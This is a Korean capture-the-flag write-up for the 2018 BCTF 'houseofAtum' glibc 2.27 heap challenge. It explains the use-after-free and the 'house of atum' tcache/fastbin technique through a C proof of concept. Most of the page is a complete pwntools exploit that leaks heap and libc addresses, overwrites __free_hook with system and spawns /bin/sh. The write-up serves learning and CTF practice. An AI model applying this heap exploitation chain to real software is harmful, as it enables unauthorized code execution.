본문 바로가기

system/writeup

2018 bctf houseofatum

2018 bctf houseofatum

신기한 기법이 사용된 문제를 발견해서 한 번 풀어봤다.

glibc 2.27 heap 문제이며 작은 바이너리이다.

간단하게 분석을 해보자.

alloc, edit, delete, show 총 4개의 메뉴가 존재한다.

alloc


0x48size가 고정되어 있고, 총 2개의 heap만 할당할 수 있다.

edit


oob 검사 ,dangling pointer 검사 후 chunk를 수정할 수 있다.

delete


uaf가 발생한다. 다만 특별한 점은, 사용자가 dangling pointer를 만들지 안만들지 결정할 수 있다는 점이다.

show


oob 검사, dangling pointer 검사 후chunk를 출력할 수 있다.

exploit


chunk를 2개밖에 만들지 못하고, show 메뉴로 tcache_fdleak할 수 있는 상황이다.

glibc 2.27이라 tcache double free 가 가능하지만 할당받을 수는 없다. 2개의 개수 제한 때문이다.

때문에 문제에서 author가 새롭게 제안한 기법인 house of atum이라는 방법을 사용해야 한다.

poc를 통해 기법을 간단하게 알아보자.

#include <stdio.h>

void main()
{
char *a = malloc(0x48);
char *b = malloc(0x48);

for (int i=0; i<7; i++)
free(a);
free(b);
free(a);
}

gcc -o test test.c

마지막 free를 거치고 나면, atcache_entrymain_arena에 모두 존재하게 된다.

이 때, afastbinb를 가르키고 있는 상황이 된다. 즉, tcache_entry에 존재하는 ab를 가르키게 되고, 그 후 bprev_sizefd로 인식하게 된다.

때문에 아래와 같은 fake chunk 구조를 만들 수 있다.

(fake_prev_size),       (fake_size),
(fake_fd), (size of b)

이를 이용하여 overlapping chunk 후, libcleak하고 __free_hooksystem으로 덮으면 된다.

from pwn import *

#context.log_level= 'debug'

e = ELF('houseofAtum')
s = process(e.path, aslr=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc.so.6', checksec=False)

ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)

def menu(sel):
   sla(':', sel)

def new(content):
   menu('1')

   sa('content:', content)

def edit(idx, content):
   menu('2')

   sla('idx:', idx)
   sa('content:', content)

def delete(idx, sel):
   menu('3')

   sla('idx:', idx)
   sla('(y/n):', sel)

def show(idx):
   menu('4')

   sla('idx:', idx)

new('123')
new('123')
delete('1', 'y')
delete('0', 'y')
new('1')
show('0')

show('0')
ru('Content:')
heap = u64(s.recvuntil('\n', drop=True).ljust(8, '\x00')) - 0x231
log.info('heap: {}'.format(hex(heap)))
log.info('heap+0x68: {}'.format(hex(heap+0x68)))

delete('0', 'y')
new(p64(0)*7+p64(0x61)+p64(heap+0x68))
new('123')
for i in range(7):
   delete('0', 'n')
delete('1', 'y')
delete('0', 'y')
new('AAA') # 0
new('BBB') # 1

delete('1', 'y')
new(p64(0)) # 1: tcache_entry
edit('0', p64(0)*3 + p64(0xa1))
delete('0' ,'y')
edit('1', p64(0))
new(p64(0))
delete('0' ,'y')
edit('1', p64(0))
new(p64(0x21)*9)
delete('0', 'y')

edit('1', p64(heap+0x280))
new(p64(0)) # 0: 0xa0 fake_chunk

for i in range(7):
   delete('0', 'n')
delete('0', 'y')

new("A")

show('0')
ru('Content:')
l_base = u64(s.recv(6).ljust(8, '\x00')) - 0x3ebd41
log.info('l_base: {}'.format(hex(l_base)))

delete('0' ,'y')

edit('1', p64(l_base + l.symbols['__free_hook']))
new(p64(l_base + l.symbols['system']))

delete('0' ,'y')
new("/bin/sh\x00")
menu('3')
sla("idx:", '0')

io()


'system > writeup' 카테고리의 다른 글

2018 0ctf final baby  (0) 2019.12.03
2018 bctf three  (0) 2019.12.01
2019 d3ctf new_heap  (0) 2019.11.30
2019 csaw final arevenge  (0) 2019.11.29
2019 hack.lu chat  (0) 2019.11.12